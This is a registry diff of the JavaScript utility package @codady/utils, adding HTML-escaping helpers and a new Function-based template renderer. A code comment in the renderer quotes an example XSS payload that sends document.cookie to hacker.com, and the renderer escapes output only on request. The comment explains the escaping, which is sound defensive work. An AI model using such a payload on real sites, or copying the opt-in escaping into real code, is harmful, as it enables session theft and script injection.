@codady/utils 0.0.37 → 0.0.38

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -2,7 +2,23 @@
2
2
 
3
3
  All changes to Utils including new features, updates, and removals are documented here.
4
4
 
5
+ ## [v0.0.38] - 2026-1-16
5
6
 
7
+ ### Distribution Files
8
+ * **JS**: https://unpkg.com/@codady/utils@0.0.38/dist/js/utils.js
9
+ * **Zip**:https://unpkg.com/@codady/utils@0.0.38/dist.zip
10
+
11
+ ### Changes
12
+
13
+ #### Fixed
14
+ * Null
15
+
16
+ #### Added
17
+ * Added the 变量 `escapeCharsMaps`/`escapeRegexMaps`.新增 `escapeCharsMaps`/`escapeRegexMaps`变量。
18
+ * Added the functions `toSingleLine`/`renderTemplate`.新增 `toSingleLine`/`renderTemplate`函数。
19
+
20
+ #### Removed
21
+ * Null
6
22
 
7
23
  ## [v0.0.37] - 2026-1-15
8
24
 
@@ -16,7 +32,7 @@ All changes to Utils including new features, updates, and removals are documente
16
32
  * Null
17
33
 
18
34
  #### Added
19
- * Added the functions `escapeHtmlChars`/`decodeHtmlEntities`.新增 `escapeHtmlChars`/`decodeHtmlEntities`函数。
35
+ * Added the functions `escapeHTML`/`decodeHtmlEntities`.新增 `escapeHTML`/`decodeHtmlEntities`函数。
20
36
 
21
37
 
22
38
  #### Removed
package/dist/utils.cjs.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 18:58:28
3
+ * @since Last modified: 2026-1-16 15:18:30
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.36
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -240,6 +240,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
240
240
  return methods;
241
241
  };
242
242
 
243
+ const escapeCharsMaps = {
244
+ //code或pre标签中代码高亮是使用basic
245
+ basic: {
246
+ '&': '&amp;',
247
+ '<': '&lt;',
248
+ '>': '&gt;',
249
+ },
250
+ //需要用在标签属性上attribute
251
+ attribute: {
252
+ '&': '&amp;',
253
+ '<': '&lt;',
254
+ '>': '&gt;',
255
+ '"': '&quot;',
256
+ "'": '&apos;',
257
+ '`': '&#x60;',
258
+ },
259
+ //html中的正文内容使用content
260
+ content: {
261
+ '&': '&amp;',
262
+ '<': '&lt;',
263
+ '>': '&gt;',
264
+ '"': '&quot;',
265
+ "'": '&apos;',
266
+ '/': '&#x2F;',
267
+ },
268
+ //用于url链接则使用uri
269
+ uri: {
270
+ '&': '&amp;',
271
+ '<': '&lt;',
272
+ '>': '&gt;',
273
+ '"': '&quot;',
274
+ "'": '&apos;',
275
+ '(': '&#40;',
276
+ ')': '&#41;',
277
+ '[': '&#91;',
278
+ ']': '&#93;',
279
+ },
280
+ //极致转意,避免任何注入或非法代码
281
+ paranoid: {
282
+ '&': '&amp;',
283
+ '<': '&lt;',
284
+ '>': '&gt;',
285
+ '"': '&quot;',
286
+ "'": '&apos;',
287
+ '`': '&#x60;',
288
+ '/': '&#x2F;',
289
+ '=': '&#x3D;',
290
+ '!': '&#x21;',
291
+ '#': '&#x23;',
292
+ '(': '&#40;',
293
+ ')': '&#41;',
294
+ '[': '&#91;',
295
+ ']': '&#93;',
296
+ '{': '&#x7B;',
297
+ '}': '&#x7D;',
298
+ ':': '&#x3A;',
299
+ ';': '&#x3B;',
300
+ },
301
+ };
302
+
303
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
304
+ const chars = Object.keys(escapeCharsMaps[key]);
305
+ // Escape special regex characters to avoid issues in the regex. [ => \[
306
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
307
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
308
+ return acc;
309
+ }, {});
310
+
311
+ const escapeHTML = (str, strength = 'attribute') => {
312
+ // Return empty string if input is null, undefined, or not a string
313
+ if (typeof str !== 'string')
314
+ return '';
315
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
316
+ // Use String.prototype.replace with a global regex.
317
+ // The callback function retrieves the replacement from the map using the matched character as key.
318
+ return str.replace(regex, (match) => map[match]);
319
+ };
320
+
321
+ const getUniqueId = (options = {}) => {
322
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
323
+ // Current timestamp in milliseconds (since Unix epoch)
324
+ // This provides the primary uniqueness guarantee
325
+ const timestamp = Date.now(),
326
+ // Generate a base-36 random string (0-9, a-z)
327
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
328
+ // substring(2, 11) extracts 9 characters starting from index 2
329
+ //0.259854635->0.9crs03e8v2
330
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
331
+ // Additional 4-digit random number for extra randomness
332
+ // This helps avoid collisions in high-frequency generation scenarios
333
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
334
+ // Construct the final ID string
335
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
336
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
337
+ };
338
+
243
339
  const requireTypes = (data, require, cb) => {
244
340
  // Normalize the input types (convert to array if it's a single type)
245
341
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -267,22 +363,83 @@ const requireTypes = (data, require, cb) => {
267
363
  return dataType;
268
364
  };
269
365
 
270
- const getUniqueId = (options = {}) => {
271
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
272
- // Current timestamp in milliseconds (since Unix epoch)
273
- // This provides the primary uniqueness guarantee
274
- const timestamp = Date.now(),
275
- // Generate a base-36 random string (0-9, a-z)
276
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
277
- // substring(2, 11) extracts 9 characters starting from index 2
278
- //0.259854635->0.9crs03e8v2
279
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
280
- // Additional 4-digit random number for extra randomness
281
- // This helps avoid collisions in high-frequency generation scenarios
282
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
283
- // Construct the final ID string
284
- // Format: [prefix_]timestamp_randomBase36_extraRandom
285
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
366
+ const toSingleLine = (str, collapseSpaces = false) => {
367
+ const result = str.replace(/[\r\t\n]/g, '');
368
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
369
+ };
370
+
371
+ const renderTpl = (html, data, options = {}) => {
372
+ requireTypes(html, 'string', (error) => {
373
+ //不符合要求的类型
374
+ console.error(error);
375
+ return '';
376
+ });
377
+ if (!html.trim())
378
+ return '';
379
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
380
+ //不符合要求的类型
381
+ console.error(error);
382
+ return html;
383
+ });
384
+ //data={}/[]
385
+ if (Object.keys(data).length === 0) {
386
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
387
+ return html;
388
+ }
389
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
390
+ //regStart='\\{\\{'
391
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
392
+ //regEnd='\\}\\}'
393
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
394
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
395
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
396
+ if (isScript) {
397
+ //处理语句类(如 {{ if(x) /}} )
398
+ if (fragment.endsWith(opts.suffix)) {
399
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
400
+ }
401
+ else {
402
+ //处理表达式类(如 {{ name }} )
403
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
404
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
405
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
406
+ }
407
+ }
408
+ else {
409
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
410
+ //js语句不能直接文本换行,所以也需要转意换行符
411
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
412
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
413
+ }
414
+ return add;
415
+ };
416
+ while (match = tplReg.exec(html)) {
417
+ add(html.slice(cursor, match.index))(match[1], true);
418
+ cursor = match.index + match[0].length;
419
+ }
420
+ add(html.slice(cursor));
421
+ code += `return str.join('');`;
422
+ //一行行化代码
423
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
424
+ code = toSingleLine(code);
425
+ try {
426
+ if (opts.strict || dataType === 'Array') {
427
+ //严格模式,或者是数组数据,则必须使用this
428
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
429
+ }
430
+ else {
431
+ ////非严格模式,且是对象,则可省略this
432
+ let keys = Object.keys(data), values = Object.values(data),
433
+ //keys传参,可直接以key为值,this依然可指向data
434
+ tmp = new Function(...keys, escapeName, code).bind(data);
435
+ //执行时以value赋值
436
+ result = tmp(...values, escapeHTML);
437
+ }
438
+ }
439
+ catch (err) {
440
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
441
+ }
442
+ return result;
286
443
  };
287
444
 
288
445
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -1173,19 +1330,6 @@ const trimEmptyLines = (str) => {
1173
1330
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1174
1331
  };
1175
1332
 
1176
- const escapeHtmlChars = (text) => {
1177
- // Check if the input text is empty or undefined
1178
- if (!text)
1179
- return '';
1180
- // Replace the special characters with their corresponding HTML entities
1181
- return text
1182
- .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
1183
- .replace(/</g, '&lt;') // Replace '<' with '&lt;'
1184
- .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
1185
- .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
1186
- .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
1187
- };
1188
-
1189
1333
  const decodeHtmlEntities = (text) => {
1190
1334
  // Check if the input text is empty or undefined
1191
1335
  if (!text)
@@ -1233,8 +1377,12 @@ const utils = {
1233
1377
  parseLLMStream,
1234
1378
  toKebabCase,
1235
1379
  trimEmptyLines,
1236
- escapeHtmlChars,
1237
1380
  decodeHtmlEntities,
1381
+ escapeCharsMaps,
1382
+ escapeRegexMaps,
1383
+ escapeHTML,
1384
+ toSingleLine,
1385
+ renderTpl,
1238
1386
  };
1239
1387
 
1240
1388
  module.exports = utils;
@@ -1,7 +1,7 @@
1
1
  /*!
2
- * @since Last modified: 2026-1-15 18:58:28
2
+ * @since Last modified: 2026-1-16 15:18:30
3
3
  * @name Utils for web front-end.
4
- * @version 0.0.36
4
+ * @version 0.0.38
5
5
  * @author AXUI development team <3217728223@qq.com>
6
6
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
7
7
  * @see {@link https://www.axui.cn|Official website}
@@ -12,4 +12,4 @@
12
12
  * @copyright This software supports the MIT License, allowing free learning and commercial use, but please retain the terms 'ax,' 'axui,' 'AX,' and 'AXUI' within the software.
13
13
  * @license MIT license
14
14
  */
15
- "use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",escapeHtmlChars=e=>e?e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#39;"):"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,escapeHtmlChars:escapeHtmlChars,decodeHtmlEntities:decodeHtmlEntities};module.exports=utils;
15
